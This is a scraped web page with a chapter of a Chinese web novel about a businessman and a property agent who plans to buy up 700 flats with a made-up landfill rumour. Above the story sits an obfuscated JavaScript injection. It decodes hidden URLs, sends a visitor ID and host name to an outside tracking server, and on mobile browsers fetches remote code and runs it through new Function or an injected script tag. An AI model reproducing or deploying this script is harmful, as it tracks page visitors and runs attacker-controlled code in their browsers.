第15章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
......
苏阳开着车送任子健先回了厂子,实在受不了他磨磨唧唧,路过烟酒店的时候,给他买了一箱茅台,才算是堵住了他的嘴。
等任子健回了厂子,苏阳又把司瑶送回了家。
一直到下午,黎世斌带人来极兔快递,签好了合同,一切算是尘埃落地。
至于黎世斌怎么带人拿下这七百套房子,就不是他该考虑的了。
极兔快递和德信物流,打得火热,堪称难解难分的时候。
万家地产的总部。
外面大门紧闭,黎世斌站在最前面,他身后,是一张胜利小区的建设图。
几十号中介,有站着,有坐着,还有干脆坐在桌子上的,但此时此刻,全都聚精会神的看向黎世斌。
黎世斌敲了敲建设图。
“胜利小区,一共差不多有五千套住宅,包括周围的厂区在内,堪称万人社区!”
“今天下午,我跑了一趟,大概观察了一下,里面还在居住的住户,不算太多,顶多只有百分之四十。”
“剩下的,多数都进了城,或者去了外地!”
“我们的目标很简单,那就是拿下至少七百套,总面积不少于五万平的住宅!”
黎世斌目光扫过屋内的一众中介:“这次我们的时间紧,可能需要七乘二十四小时不休息,所以奖金和提成,全部翻倍!”
“今天开始,你们就可以陆续接触客户!”
“但这么大规模的购入房子,势必会抬高房价,因此,我们不能表现得太积极,要尽量诱导客户自己提出,有想卖房子的意向!”
黎世斌话音落下,下面一众人,纷纷点头。
黎世斌看向前面的小芳:“小芳,你先去胜利小区,租几套房子,作为咱们的落脚点!”
“除此之外,再雇佣几台挖掘机和土方车,让他们什么都不用干,就在胜利小区外面,挖挖土,转一圈,再拉回来,把土卸回去就行!”
小芳顿时一怔:“这落脚点我能理解,但您这雇佣挖机,是为了什么?”
黎世斌冷笑一声:“所有人,都给我记住了,现在教给大家一个压价的方法,如果对方一旦要价过高,你们就说,这小区附近,要建一个垃圾填埋场!”
“只要填埋场建成,势必会影响房价!”
“所以让他们尽可能把房子卖了,如果有顾虑的,你们可以带上咱们城内房子的价格单。”
“趁机再把咱们手里的房源,推荐出去几套,这样里外里,能赚两份钱!”
一众中介不由得连连点头,都觉得黎世斌说得有道理。
要是能买一套,再让这人卖一套,那他们简直是赚大了。
黎世斌话说完,下面一个中介,不由得举起手来。
“黎总,我有个事,一直想问你......”
黎世斌点头:“你说吧。”
这中介摸着下巴,有些疑惑:“你说,为啥突然会有人,掏一亿四千万,在胜利小区这种地方卖房子?”
“该不会,是要动迁吧?”
旁边的小芳,不由得扑哧一声笑出声:“春城市的棚户区和老小区多了,现在北二环刚建设完,那胜利小区,都要出三环了!”
“要是胜利小区能动迁,那我看,怕是大半个北城都得拆了。”
“你在这做什么春秋大美梦呢?”